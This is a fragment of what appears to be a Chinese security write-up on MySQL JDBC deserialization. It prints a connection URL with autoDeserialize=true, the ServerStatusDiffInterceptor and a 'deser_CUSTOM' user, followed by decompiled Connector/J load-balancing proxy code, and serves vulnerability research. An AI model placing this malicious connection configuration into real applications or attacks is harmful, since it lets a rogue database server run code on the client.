com.mysql.cj.conf.url.ReplicationConnectionUrl@358c99f5 :: {type: "REPLICATION_CONNECTION", hosts: [com.mysql.cj.conf.HostInfo@5ad851c9 :: {host: "127.0.0.1", port: 3306, hostProperties: {autoDeserialize=true, queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor, dbname=dbname}}], database: "dbname", properties: {autoDeserialize=true, password=pass, queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor, dbname=dbname, host=127.0.0.1, user=deser_CUSTOM}, propertiesTransformer: null}
999
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
public LoadBalancedConnectionProxy(ConnectionUrl connectionUrl) throws SQLException {
Properties props = connectionUrl.getConnectionArgumentsAsProperties();
String group = props.getProperty(PropertyKey.loadBalanceConnectionGroup.getKeyName(), (String)null);
boolean enableJMX = false;
String enableJMXAsString = props.getProperty(PropertyKey.ha_enableJMX.getKeyName(), "false");
try {
enableJMX = Boolean.parseBoolean(enableJMXAsString);
} catch (Exception var22) {
throw SQLError.createSQLException(Messages.getString("MultihostConnection.badValueForHaEnableJMX", new Object[]{enableJMXAsString}), "S1009", (ExceptionInterceptor)null);
}
List hosts;
if (!StringUtils.isNullOrEmpty(group) && LoadBalanceConnectionUrl.class.isAssignableFrom(connectionUrl.getClass())) {
this.connectionGroup = ConnectionGroupManager.getConnectionGroupInstance(group);
if (enableJMX) {
ConnectionGroupManager.registerJmx();
}
this.connectionGroupProxyID = this.connectionGroup.registerConnectionProxy(this, ((LoadBalanceConnectionUrl)connectionUrl).getHostInfoListAsHostPortPairs());
hosts = ((LoadBalanceConnectionUrl)connectionUrl).getHostInfoListFromHostPortPairs(this.connectionGroup.getInitialHosts());
} else {
hosts = connectionUrl.getHostsList();
}
int numHosts = this.initializeHostsSpecs(connectionUrl, hosts);
this.liveConnections = new HashMap(numHosts);
this.hostsToListIndexMap = new HashMap(numHosts);
for(int i = 0; i < numHosts; ++i) {
this.hostsToListIndexMap.put(((HostInfo)this.hostsList.get(i)).getHostPortPair(), i);
}
this.connectionsToHostsMap = new HashMap(numHosts);
this.responseTimes = new long[numHosts];
String retriesAllDownAsString = props.getProperty(PropertyKey.retriesAllDown.getKeyName(), "120");
try {
this.retriesAllDown = Integer.parseInt(retriesAllDownAsString);
} catch (NumberFormatException var21) {
throw SQLError.createSQLException(Messages.getString("LoadBalancedConnectionProxy.badValueForRetriesAllDown", new Object[]{retriesAllDownAsString}), "S1009", (ExceptionInterceptor)null);
}
String blacklistTimeoutAsString = props.getProperty(PropertyKey.loadBalanceBlacklistTimeout.getKeyName(), "0");
try {
this.globalBlacklistTimeout = Integer.parseInt(blacklistTimeoutAsString);
} catch (NumberFormatException var20) {
throw SQLError.createSQLException(Messages.getString("LoadBalancedConnectionProxy.badValueForLoadBalanceBlacklistTimeout", new Object[]{blacklistTimeoutAsString}), "S1009", (ExceptionInterceptor)null);
}
String hostRemovalGracePeriodAsString = props.getProperty(PropertyKey.loadBalanceHostRemovalGracePeriod.getKeyName(), "15000");
try {
this.hostRemovalGracePeriod = Integer.parseInt(hostRemovalGracePeriodAsString);
} catch (NumberFormatException var19) {
throw SQLError.createSQLException(Messages.getString("LoadBalancedConnectionProxy.badValueForLoadBalanceHostRemovalGracePeriod", new Object[]{hostRemovalGracePeriodAsString}), "S1009", (ExceptionInterceptor)null);
}
String strategy = props.getProperty(PropertyKey.ha_loadBalanceStrategy.getKeyName(), "random");
try {
switch (strategy) {
case "random":
this.balancer = new RandomBalanceStrategy();
break;
case "bestResponseTime":
this.balancer = new BestResponseTimeBalanceStrategy();
break;
case "serverAffinity":
this.balancer = new ServerAffinityStrategy(props.getProperty(PropertyKey.serverAffinityOrder.getKeyName(), (String)null));
break;
default:
this.balancer = (BalanceStrategy)Class.forName(strategy).newInstance();
}
} catch (Throwable var18) {
throw SQLError.createSQLException(Messages.getString("InvalidLoadBalanceStrategy", new Object[]{strategy}), "S1009", var18, (ExceptionInterceptor)null);
}
String autoCommitSwapThresholdAsString = props.getProperty(PropertyKey.loadBalanceAutoCommitStatementThreshold.getKeyName(), "0");
try {
Integer.parseInt(autoCommitSwapThresholdAsString);
} catch (NumberFormatException var17) {
throw SQLError.createSQLException(Messages.getString("LoadBalancedConnectionProxy.badValueForLoadBalanceAutoCommitStatementThreshold", new Object[]{autoCommitSwapThresholdAsString}), "S1009", (ExceptionInterceptor)null);
}
String autoCommitSwapRegex = props.getProperty(PropertyKey.loadBalanceAutoCommitStatementRegex.getKeyName(), "");
if (!"".equals(autoCommitSwapRegex)) {
try {
"".matches(autoCommitSwapRegex);
} catch (Exception var16) {
throw SQLError.createSQLException(Messages.getString("LoadBalancedConnectionProxy.badValueForLoadBalanceAutoCommitStatementRegex", new Object[]{autoCommitSwapRegex}), "S1009", (ExceptionInterceptor)null);
}
}
try {
String lbExceptionChecker = props.getProperty(PropertyKey.loadBalanceExceptionChecker.getKeyName(), StandardLoadBalanceExceptionChecker.class.getName());
this.exceptionChecker = (LoadBalanceExceptionChecker)Util.getInstance(lbExceptionChecker, new Class[0], new Object[0], (ExceptionInterceptor)null, Messages.getString("InvalidLoadBalanceExceptionChecker"));
this.exceptionChecker.init(props);
} catch (CJException var15) {
throw SQLExceptionsMapping.translateException(var15, (ExceptionInterceptor)null);
}
this.pickNewConnection();
}
热门文章
优秀作者
没有评论